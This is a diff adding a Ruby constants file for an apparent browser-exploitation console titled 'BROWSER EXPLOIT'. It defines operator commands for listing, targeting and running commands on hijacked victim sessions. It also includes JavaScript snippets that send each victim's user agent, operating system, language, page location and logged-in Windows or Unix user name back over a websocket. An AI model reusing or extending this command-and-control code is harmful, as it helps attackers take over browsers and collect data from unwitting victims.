1
+ module Bbs
2
+
3
+ module Constants
4
+ @welcomeMessage = "" \
5
+ "BROWSER EXPLOIT\n " ,
6
+ @commands = {
7
+ "help" => "Show help menu" ,
8
+ "exit" => "Quit the application." ,
9
+ "sessions" => "List active sessions." ,
10
+ "target" => "Select or show targeted session." ,
11
+ "info" => "Get session information (User Agent, Operating System, Language, Path, Logged in user)." ,
12
+ "exec" => "Execute commands on the targeted session interactively. Provide an argument to execute a file's contents (e.g. a module)." ,
13
+ "get_cert" => "Get a free TLS certificate from LetsEncrypt." ,
14
+ "pry" => "Drop into a local Pry session." ,
15
+ "clear" => "Clear the console screen." ,
16
+ "ls" => "List local directory contents." ,
17
+ "cat" => "Read the contents of a local file." ,
18
+ "modules" => "List all modules in modules directory. To execute a module enter exec MODULE_NAME." ,
19
+ "rm" => "Delete a local file."
20
+ } . sort
21
+ @infoCommands = {
22
+ "USER_AGENT" => "ws.send(\" User agent: \" + navigator.appVersion);" ,
23
+ "OPERATING_SYSTEM" => "ws.send(\" OS: \" + navigator.platform);" ,
24
+ "LANGUAGE" => "ws.send(\" Language: \" + navigator.language);" ,
25
+ "PATH" => "ws.send(\" Program path: \" + window.location);" ,
26
+ "USER" => "ws.send(\" Logged in user: \" + process.env.USERDOMAIN + \" /\" + (process.env.USERNAME || process.env.USER));"
27
+ } . sort
28
+ def Constants . getWelcomeMessage ( )
29
+ return @welcomeMessage
30
+ end
31
+ def Constants . getCommands ( )
32
+ return @commands
33
+ end
34
+ def Constants . getInfoCommands ( )
35
+ return @infoCommands
36
+ end
37
+
38
+ end
39
+
40
+ end
41
+
0 commit comments